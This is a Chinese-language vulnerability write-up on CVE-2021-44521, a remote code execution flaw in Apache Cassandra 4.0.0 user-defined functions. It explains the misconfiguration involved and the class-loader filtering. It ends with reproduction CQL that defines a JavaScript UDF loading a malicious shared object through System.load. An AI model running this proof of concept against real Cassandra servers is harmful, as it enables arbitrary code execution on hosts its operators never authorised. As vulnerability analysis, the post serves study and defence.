CVE-2021-44521 Apache Cassandra 載入UDF RCE

語言: CN / TW / HK

環境

Cassandra 4.0.0

漏洞分析

先說原理,enable_user_defined_functions_threads為false時會隱式禁用security-manager,導致可以通過udf執行java程式碼。

官方公告 http://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40

使用以下配置

enable_user_defined_functions: true
enable_scripted_user_defined_functions: true
enable_user_defined_functions_threads: false

攻擊者有可能在主機上執行任意程式碼。搜了下文件, 發現有一個function的功能

使用者可以建立udf(使用者自定義函式)來執行自定義程式碼。

預設支援java或者javascript兩種。簡單看了下程式碼

org.apache.cassandra.cql3.functions.UDFunction#create 這個地方會建立對應的程式碼引擎,這兩個引擎都繼承自UDFunction,並且被設定了一個自定義的classloader: UDFunction.udfClassLoader

這個classloader找class時會進行過濾

secureResource函式定義如圖

會遍歷黑白名單,要求既要在白名單中並且不在黑名單中。

白名單

黑名單

可以用 java.lang.System.load('/tmp/aaa.so'); 來載入惡意的so檔案達到執行命令的目的。

復現

CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
CREATE OR REPLACE FUNCTION exec1(cmd text)
    RETURNS NULL ON NULL INPUT
    RETURNS text
    LANGUAGE javascript
    AS $$
        java.lang.System.load('/tmp/aa.so');
    $$;


select test.exec1(cmd) from tab;

如果你一直報 java.security.AccessControlException: access denied 的異常

就是沒改conf/cassandra.yaml配置檔案,要加上這一行

so檔案怎麼生成參考園長的文章: http://www.javaweb.org/?p=1866

參考

  1. http://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40
  2. http://cassandra.apache.org/doc/latest/cassandra/cql/functions.html
  3. http://tttang.com/archive/1436/
  4. 園長的文章

文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。